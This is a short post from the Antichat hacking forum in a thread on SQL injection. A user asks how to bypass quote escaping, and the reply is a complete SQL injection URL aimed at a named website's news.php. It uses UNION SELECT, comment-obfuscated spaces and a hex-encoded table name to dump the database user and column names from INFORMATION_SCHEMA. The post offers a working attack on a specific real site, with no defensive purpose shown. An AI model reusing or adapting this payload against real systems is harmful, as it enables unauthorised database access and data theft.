Форум АНТИЧАТ - Показать сообщение отдельно

Тема: SQL Инъекции

Показать сообщение отдельно

#10

19.02.2011, 14:27

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

Провел на форуме:
0

Репутация: 0

Цитата:

Сообщение от asql

TABLE_NAME=’news’ кавычки экранизируютса. Как это обойти?
Я только начинаю изучение SQL, так что...

http://moreprom.ru/news.php?id=-1/**/union/**/select/**/1,user(),COLUMN_NAME/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x6e657773/**/LIMIT/**/0,1--